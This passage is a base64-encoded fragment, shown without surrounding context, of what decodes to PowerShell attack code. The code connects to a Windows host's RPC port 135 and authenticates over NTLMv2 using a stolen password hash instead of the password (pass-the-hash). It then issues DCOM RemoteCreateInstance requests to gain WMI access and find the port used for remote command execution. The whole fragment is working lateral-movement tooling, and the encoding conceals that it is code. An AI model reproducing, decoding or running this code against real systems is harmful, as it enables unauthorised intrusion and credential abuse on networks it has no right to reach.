uYW1lDQogICAgfQ0KDQogICAgJFdNSV9jbGllbnRfaW5pdC5DbG9zZSgpDQogICAgJFdNSV9jbGllbnRfc3RyZWFtX2luaXQuQ2xvc2UoKQ0KICAgICRXTUlfY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50DQogICAgJFdNSV9jbGllbnQuQ2xpZW50LlJlY2VpdmVUaW1lb3V0ID0gMzAwMDANCg0KICAgIHRyeQ0KICAgIHsNCiAgICAgICAgJFdNSV9jbGllbnQuQ29ubmVjdCgkdGFyZ2V0X2xvbmcsIjEzNSIpDQogICAgfQ0KICAgIGNhdGNoDQogICAgew0KICAgICAgICBXcml0ZS1PdXRwdXQgIiR0YXJnZXRfbG9uZyBkaWQgbm90IHJlc3BvbmQiDQogICAgfQ0KDQogICAgaWYoJFdNSV9jbGllbnQuQ29ubmVjdGVkKQ0KICAgIHsNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtID0gJFdNSV9jbGllbnQuR2V0U3RyZWFtKCkNCiAgICAgICAgJFJQQ19VVUlEID0gMHhhMCwweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0Ng0KICAgICAgICAkcGFja2V0X1JQQyA9IEdldC1QYWNrZXRSUENCaW5kIDMgMHhkMCwweDE2IDB4MDEgMHgwMSwweDAwICRSUENfVVVJRCAweDAwLDB4MDANCiAgICAgICAgJHBhY2tldF9SUENbIlJQQ0JpbmRfRnJhZ0xlbmd0aCJdID0gMHg3OCwweDAwDQogICAgICAgICRwYWNrZXRfUlBDWyJSUENCaW5kX0F1dGhMZW5ndGgiXSA9IDB4MjgsMHgwMA0KICAgICAgICAkcGFja2V0X1JQQ1siUlBDQmluZF9OZWdvdGlhdGVGbGFncyJdID0gMHgwNywweDgyLDB4MDgsMHhhMg0KICAgICAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAgICAgJFdNSV9jbGllbnRfc2VuZCA9ICRSUEMNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAkV01JX2NsaWVudF9zdHJlYW0uRmx1c2goKSAgICANCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLlJlYWQoJFdNSV9jbGllbnRfcmVjZWl2ZSwwLCRXTUlfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICRhc3NvY19ncm91cCA9ICRXTUlfY2xpZW50X3JlY2VpdmVbMjAuLjIzXQ0KICAgICAgICAkV01JX05UTE1TU1AgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmUpDQogICAgICAgICRXTUlfTlRMTVNTUCA9ICRXTUlfTlRMTVNTUCAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgJFdNSV9OVExNU1NQX2luZGV4ID0gJFdNSV9OVExNU1NQLkluZGV4T2YoIjRFNTQ0QzRENTM1MzUwMDAiKQ0KICAgICAgICAkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggPSAkV01JX05UTE1TU1BfaW5kZXggLyAyDQogICAgICAgICRXTUlfZG9tYWluX2xlbmd0aCA9IERhdGFMZW5ndGgyICgkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAxMikgJFdNSV9jbGllbnRfcmVjZWl2ZQ0KICAgICAgICAkV01JX3RhcmdldF9sZW5ndGggPSBEYXRhTGVuZ3RoMiAoJFdNSV9OVExNU1NQX2J5dGVzX2luZGV4ICsgNDApICRXTUlfY2xpZW50X3JlY2VpdmUNCiAgICAgICAgJFdNSV9zZXNzaW9uX0lEID0gJFdNSV9jbGllbnRfcmVjZWl2ZVs0NC4uNTFdDQogICAgICAgICRXTUlfTlRMTV9jaGFsbGVuZ2UgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAyNCkuLigkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyAzMSldDQogICAgICAgICRXTUlfdGFyZ2V0X2RldGFpbHMgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyA1NiArICRXTUlfZG9tYWluX2xlbmd0aCkuLigkV01JX05UTE1TU1BfYnl0ZXNfaW5kZXggKyA1NSArICRXTUlfZG9tYWluX2xlbmd0aCArICRXTUlfdGFyZ2V0X2xlbmd0aCldDQogICAgICAgICRXTUlfdGFyZ2V0X3RpbWVfYnl0ZXMgPSAkV01JX3RhcmdldF9kZXRhaWxzWygkV01JX3RhcmdldF9kZXRhaWxzLkxlbmd0aCAtIDEyKS4uKCRXTUlfdGFyZ2V0X2RldGFpbHMuTGVuZ3RoIC0gNSldDQogICAgICAgICROVExNX2hhc2hfYnl0ZXMgPSAoJntmb3IgKCRpID0gMDskaSAtbHQgJGhhc2guTGVuZ3RoOyRpICs9IDIpeyRoYXNoLlN1YlN0cmluZygkaSwyKX19KSAtam9pbiAiLSINCiAgICAgICAgJE5UTE1faGFzaF9ieXRlcyA9ICROVExNX2hhc2hfYnl0ZXMuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICAgICAkYXV0aF9ob3N0bmFtZSA9IChnZXQtY2hpbGRpdGVtIC1wYXRoIGVudjpjb21wdXRlcm5hbWUpLlZhbHVlDQogICAgICAgICRhdXRoX2hvc3RuYW1lX2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkYXV0aF9ob3N0bmFtZSkNCiAgICAgICAgJGF1dGhfZG9tYWluID0gJERvbWFpbg0KICAgICAgICAkYXV0aF9kb21haW5fYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCRhdXRoX2RvbWFpbikNCiAgICAgICAgJGF1dGhfdXNlcm5hbWVfYnl0ZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR1c2VybmFtZSkNCiAgICAgICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCkNCiAgICAgICAgJGF1dGhfZG9tYWluX2xlbmd0aCA9ICRhdXRoX2RvbWFpbl9sZW5ndGhbMCwxXQ0KICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoKQ0KICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoID0gJGF1dGhfZG9tYWluX2xlbmd0aFswLDFdDQogICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfdXNlcm5hbWVfYnl0ZXMuTGVuZ3RoKQ0KICAgICAgICAkYXV0aF91c2VybmFtZV9sZW5ndGggPSAkYXV0aF91c2VybmFtZV9sZW5ndGhbMCwxXQ0KICAgICAgICAkYXV0aF9ob3N0bmFtZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2hvc3RuYW1lX2J5dGVzLkxlbmd0aCkNCiAgICAgICAgJGF1dGhfaG9zdG5hbWVfbGVuZ3RoID0gJGF1dGhfaG9zdG5hbWVfbGVuZ3RoWzAsMV0NCiAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCA9IDB4NDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgJGF1dGhfdXNlcm5hbWVfb2Zmc2V0ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkYXV0aF9kb21haW5fYnl0ZXMuTGVuZ3RoICsgNjQpDQogICAgICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArIDY0KQ0KICAgICAgICAkYXV0aF9MTV9vZmZzZXQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGggKyAkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGggKyAkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGggKyA2NCkNCiAgICAgICAgJGF1dGhfTlRMTV9vZmZzZXQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRhdXRoX2RvbWFpbl9ieXRlcy5MZW5ndGggKyAkYXV0aF91c2VybmFtZV9ieXRlcy5MZW5ndGggKyAkYXV0aF9ob3N0bmFtZV9ieXRlcy5MZW5ndGggKyA4OCkNCiAgICAgICAgJEhNQUNfTUQ1ID0gTmV3LU9iamVjdCBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkhNQUNNRDUNCiAgICAgICAgJEhNQUNfTUQ1LmtleSA9ICROVExNX2hhc2hfYnl0ZXMNCiAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXQgPSAkdXNlcm5hbWUuVG9VcHBlcigpDQogICAgICAgICR1c2VybmFtZV9hbmRfdGFyZ2V0X2J5dGVzID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkdXNlcm5hbWVfYW5kX3RhcmdldCkNCiAgICAgICAgJHVzZXJuYW1lX2FuZF90YXJnZXRfYnl0ZXMgKz0gJGF1dGhfZG9tYWluX2J5dGVzDQogICAgICAgICROVExNdjJfaGFzaCA9ICRITUFDX01ENS5Db21wdXRlSGFzaCgkdXNlcm5hbWVfYW5kX3RhcmdldF9ieXRlcykNCiAgICAgICAgJGNsaWVudF9jaGFsbGVuZ2UgPSBbU3RyaW5nXSgxLi44IHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgICAgICRjbGllbnRfY2hhbGxlbmdlX2J5dGVzID0gJGNsaWVudF9jaGFsbGVuZ2UuU3BsaXQoIiAiKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KDQogICAgICAgICRzZWN1cml0eV9ibG9iX2J5dGVzID0gMHgwMSwweDAxLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfdGFyZ2V0X3RpbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2xpZW50X2NoYWxsZW5nZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3RhcmdldF9kZXRhaWxzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMA0KDQogICAgICAgICRzZXJ2ZXJfY2hhbGxlbmdlX2FuZF9zZWN1cml0eV9ibG9iX2J5dGVzID0gJFdNSV9OVExNX2NoYWxsZW5nZSArICRzZWN1cml0eV9ibG9iX2J5dGVzDQogICAgICAgICRITUFDX01ENS5rZXkgPSAkTlRMTXYyX2hhc2gNCiAgICAgICAgJE5UTE12Ml9yZXNwb25zZSA9ICRITUFDX01ENS5Db21wdXRlSGFzaCgkc2VydmVyX2NoYWxsZW5nZV9hbmRfc2VjdXJpdHlfYmxvYl9ieXRlcykNCiAgICAgICAgJHNlc3Npb25fYmFzZV9rZXkgPSAkSE1BQ19NRDUuQ29tcHV0ZUhhc2goJE5UTE12Ml9yZXNwb25zZSkNCiAgICAgICAgJE5UTE12Ml9yZXNwb25zZSA9ICROVExNdjJfcmVzcG9uc2UgKyAkc2VjdXJpdHlfYmxvYl9ieXRlcw0KICAgICAgICAkTlRMTXYyX3Jlc3BvbnNlX2xlbmd0aCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJE5UTE12Ml9yZXNwb25zZS5MZW5ndGgpDQogICAgICAgICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoID0gJE5UTE12Ml9yZXNwb25zZV9sZW5ndGhbMCwxXQ0KICAgICAgICAkV01JX3Nlc3Npb25fa2V5X29mZnNldCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJGF1dGhfZG9tYWluX2J5dGVzLkxlbmd0aCArICRhdXRoX3VzZXJuYW1lX2J5dGVzLkxlbmd0aCArICRhdXRoX2hvc3RuYW1lX2J5dGVzLkxlbmd0aCArICROVExNdjJfcmVzcG9uc2UuTGVuZ3RoICsgODgpDQogICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfbGVuZ3RoID0gMHgwMCwweDAwDQogICAgICAgICRXTUlfbmVnb3RpYXRlX2ZsYWdzID0gMHgxNSwweDgyLDB4ODgsMHhhMg0KDQogICAgICAgICROVExNU1NQX3Jlc3BvbnNlID0gMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDE4LDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MTgsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX0xNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROVExNdjJfcmVzcG9uc2VfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJE5UTE12Ml9yZXNwb25zZV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9OVExNX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2RvbWFpbl9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9kb21haW5fbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX3VzZXJuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX2xlbmd0aCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhdXRoX2hvc3RuYW1lX29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfc2Vzc2lvbl9rZXlfbGVuZ3RoICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9zZXNzaW9uX2tleV9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX3Nlc3Npb25fa2V5X29mZnNldCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfbmVnb3RpYXRlX2ZsYWdzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfZG9tYWluX2J5dGVzICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGF1dGhfdXNlcm5hbWVfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYXV0aF9ob3N0bmFtZV9ieXRlcyArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROVExNdjJfcmVzcG9uc2UNCg0KICAgICAgICAkYXNzb2NfZ3JvdXAgPSAkV01JX2NsaWVudF9yZWNlaXZlWzIwLi4yM10NCiAgICAgICAgJHBhY2tldF9SUEMgPSBHZXQtUGFja2V0UlBDQVVUSDMgJE5UTE1TU1BfcmVzcG9uc2UNCiAgICAgICAgJFJQQyA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDDQogICAgICAgICRXTUlfY2xpZW50X3NlbmQgPSAkUlBDDQogICAgICAgICRXTUlfY2xpZW50X3N0cmVhbS5Xcml0ZSgkV01JX2NsaWVudF9zZW5kLDAsJFdNSV9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICRjYXVzYWxpdHlfSUQgPSBbU3RyaW5nXSgxLi4xNiB8IEZvckVhY2gtT2JqZWN0IHsiezA6WDJ9IiAtZiAoR2V0LVJhbmRvbSAtTWluaW11bSAxIC1NYXhpbXVtIDI1NSl9KQ0KICAgICAgICBbQnl0ZVtdXSRjYXVzYWxpdHlfSURfYnl0ZXMgPSAkY2F1c2FsaXR5X0lELlNwbGl0KCIgIikgfCBGb3JFYWNoLU9iamVjdHtbQ2hhcl1bU3lzdGVtLkNvbnZlcnRdOjpUb0ludDE2KCRfLDE2KX0NCiAgICAgICAgJHVudXNlZF9idWZmZXIgPSBbU3RyaW5nXSgxLi4xNiB8IEZvckVhY2gtT2JqZWN0IHsiezA6WDJ9IiAtZiAoR2V0LVJhbmRvbSAtTWluaW11bSAxIC1NYXhpbXVtIDI1NSl9KQ0KICAgICAgICBbQnl0ZVtdXSR1bnVzZWRfYnVmZmVyX2J5dGVzID0gJHVudXNlZF9idWZmZXIuU3BsaXQoIiAiKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICAgICAkcGFja2V0X0RDT01fcmVtb3RlX2NyZWF0ZV9pbnN0YW5jZSA9IEdldC1QYWNrZXREQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UgJGNhdXNhbGl0eV9JRF9ieXRlcyAkdGFyZ2V0X3Nob3J0DQogICAgICAgICREQ09NX3JlbW90ZV9jcmVhdGVfaW5zdGFuY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X0RDT01fcmVtb3RlX2NyZWF0ZV9pbnN0YW5jZQ0KICAgICAgICAkcGFja2V0X1JQQyA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJERDT01fcmVtb3RlX2NyZWF0ZV9pbnN0YW5jZS5MZW5ndGggMCAwIDB4MDMsMHgwMCwweDAwLDB4MDAgMHgwMSwweDAwIDB4MDQsMHgwMA0KICAgICAgICAkUlBDID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUEMNCiAgICAgICAgJFdNSV9jbGllbnRfc2VuZCA9ICRSUEMgKyAkRENPTV9yZW1vdGVfY3JlYXRlX2luc3RhbmNlDQogICAgICAgICRXTUlfY2xpZW50X3N0cmVhbS5Xcml0ZSgkV01JX2NsaWVudF9zZW5kLDAsJFdNSV9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLkZsdXNoKCkgICAgDQogICAgICAgICRXTUlfY2xpZW50X3N0cmVhbS5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KDQogICAgICAgIGlmKCRXTUlfY2xpZW50X3JlY2VpdmVbMl0gLWVxIDMgLWFuZCBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmVbMjQuLjI3XSkgLWVxICcwNS0wMC0wMC0wMCcpDQogICAgICAgIHsNCiAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBXTUkgYWNjZXNzIGRlbmllZCBvbiAkdGFyZ2V0X2xvbmciICAgIA0KICAgICAgICB9DQogICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAzKQ0KICAgICAgICB7DQogICAgICAgICAgICAkZXJyb3JfY29kZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFdNSV9jbGllbnRfcmVjZWl2ZVsyNy4uMjRdKQ0KICAgICAgICAgICAgJGVycm9yX2NvZGUgPSAkZXJyb3JfY29kZSAtcmVwbGFjZSAiLSIsIiINCiAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiRXJyb3IgY29kZSAweCRlcnJvcl9jb2RlIg0KICAgICAgICB9DQogICAgICAgIGVsc2VpZigkV01JX2NsaWVudF9yZWNlaXZlWzJdIC1lcSAyIC1hbmQgISRXTUlfZXhlY3V0ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICIkb3V0cHV0X3VzZXJuYW1lIGFjY2Vzc2VkIFdNSSBvbiAkdGFyZ2V0X2xvbmciDQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmKCRXTUlfY2xpZW50X3JlY2VpdmVbMl0gLWVxIDIpDQogICAgICAgIHsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiJG91dHB1dF91c2VybmFtZSBhY2Nlc3NlZCBXTUkgb24gJHRhcmdldF9sb25nIg0KDQogICAgICAgICAgICBpZigkdGFyZ2V0X3Nob3J0IC1lcSAnMTI3LjAuMC4xJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdGFyZ2V0X3Nob3J0ID0gJGF1dGhfaG9zdG5hbWUNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHRhcmdldF91bmljb2RlID0gMHgwNywweDAwICsgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygkdGFyZ2V0X3Nob3J0ICsgIlsiKQ0KICAgICAgICAgICAgJHRhcmdldF9zZWFyY2ggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCR0YXJnZXRfdW5pY29kZSkNCiAgICAgICAgICAgICR0YXJnZXRfc2VhcmNoID0gJHRhcmdldF9zZWFyY2ggLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAkV01JX21lc3NhZ2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfY2xpZW50X3JlY2VpdmUpDQogICAgICAgICAgICAkV01JX21lc3NhZ2UgPSAkV01JX21lc3NhZ2UgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAkdGFyZ2V0X2luZGV4ID0gJFdNSV9tZXNzYWdlLkluZGV4T2YoJHRhcmdldF9zZWFyY2gpDQoNCiAgICAgICAgICAgIGlmKCR0YXJnZXRfaW5kZXggLWx0IDEpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHRhcmdldF9hZGRyZXNzX2xpc3QgPSBbU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0RW50cnkoJHRhcmdldF9sb25nKS5BZGRyZXNzTGlzdA0KDQogICAgICAgICAgICAgICAgRm9yRWFjaCgkSVBfYWRkcmVzcyBpbiAkdGFyZ2V0X2FkZHJlc3NfbGlzdCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfc2hvcnQgPSAkSVBfYWRkcmVzcy5JUEFkZHJlc3NUb1N0cmluZw0KICAgICAgICAgICAgICAgICAgICAkdGFyZ2V0X3VuaWNvZGUgPSAweDA3LDB4MDAgKyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldEJ5dGVzKCR0YXJnZXRfc2hvcnQgKyAiWyIpDQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfc2VhcmNoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkdGFyZ2V0X3VuaWNvZGUpDQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfc2VhcmNoID0gJHRhcmdldF9zZWFyY2ggLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgICAgICR0YXJnZXRfaW5kZXggPSAkV01JX21lc3NhZ2UuSW5kZXhPZigkdGFyZ2V0X3NlYXJjaCkNCg0KICAgICAgICAgICAgICAgICAgICBpZigkdGFyZ2V0X2luZGV4IC1ndCAwKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhaw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYoJHRhcmdldF9sb25nIC1jbmUgJHRhcmdldF9zaG9ydCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJVc2luZyAkdGFyZ2V0X3Nob3J0IGZvciByYW5kb20gcG9ydCBleHRyYWN0aW9uIg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZigkdGFyZ2V0X2luZGV4IC1ndCAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0YXJnZXRfYnl0ZXNfaW5kZXggPSAkdGFyZ2V0X2luZGV4IC8gMg0KICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSAkV01JX2NsaWVudF9yZWNlaXZlWygkdGFyZ2V0X2J5dGVzX2luZGV4ICsgJHRhcmdldF91bmljb2RlLkxlbmd0aCkuLigkdGFyZ2V0X2J5dGVzX2luZGV4ICsgJHRhcmdldF91bmljb2RlLkxlbmd0aCArIDgpXQ0KICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRXTUlfcmFuZG9tX3BvcnQpDQogICAgICAgICAgICAgICAgJFdNSV9yYW5kb21fcG9ydF9lbmRfaW5kZXggPSAkV01JX3JhbmRvbV9wb3J0LkluZGV4T2YoIi01RCIpDQoNCiAgICAgICAgICAgICAgICBpZigkV01JX3JhbmRvbV9wb3J0X2VuZF9pbmRleCAtZ3QgMCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSAkV01JX3JhbmRvbV9wb3J0LlN1YlN0cmluZygwLCRXTUlfcmFuZG9tX3BvcnRfZW5kX2luZGV4KQ0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICRXTUlfcmFuZG9tX3BvcnQgPSAkV01JX3JhbmRvbV9wb3J0IC1yZXBsYWNlICItMDAiLCIiDQogICAgICAgICAgICAgICAgJFdNSV9yYW5kb21fcG9ydCA9ICRXTUlfcmFuZG9tX3BvcnQuU3BsaXQoIi0iKSB8IEZvckVhY2gtT2JqZWN0e1tDaGFyXVtTeXN0ZW0uQ29udmVydF06OlRvSW50MTYoJF8sMTYpfQ0KICAgICAgICAgICAgICAgIFtJbnRdJFdNSV9yYW5kb21fcG9ydF9pbnQgPSAtam9pbiAkV01JX3JhbmRvbV9wb3J0IA0KICAgICAgICAgICAgICAgICRNRU9XID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkV01JX2NsaWVudF9yZWNlaXZlKQ0KICAgICAgICAgICAgICAgICRNRU9XID0gJE1FT1cgLXJlcGxhY2UgIi0iLCIiDQogICAgICAgICAgICAgICAgJE1FT1dfaW5kZXggPSAkTUVPVy5JbmRleE9mKCI0RDQ1NEY1NzAxMDAwMDAwMThBRDA5RjM2QUQ4RDAxMUEwNzUwMEMwNEZCNjg4MjAiKQ0KICAgICAgICAgICAgICAgICRNRU9XX2J5dGVzX2luZGV4ID0g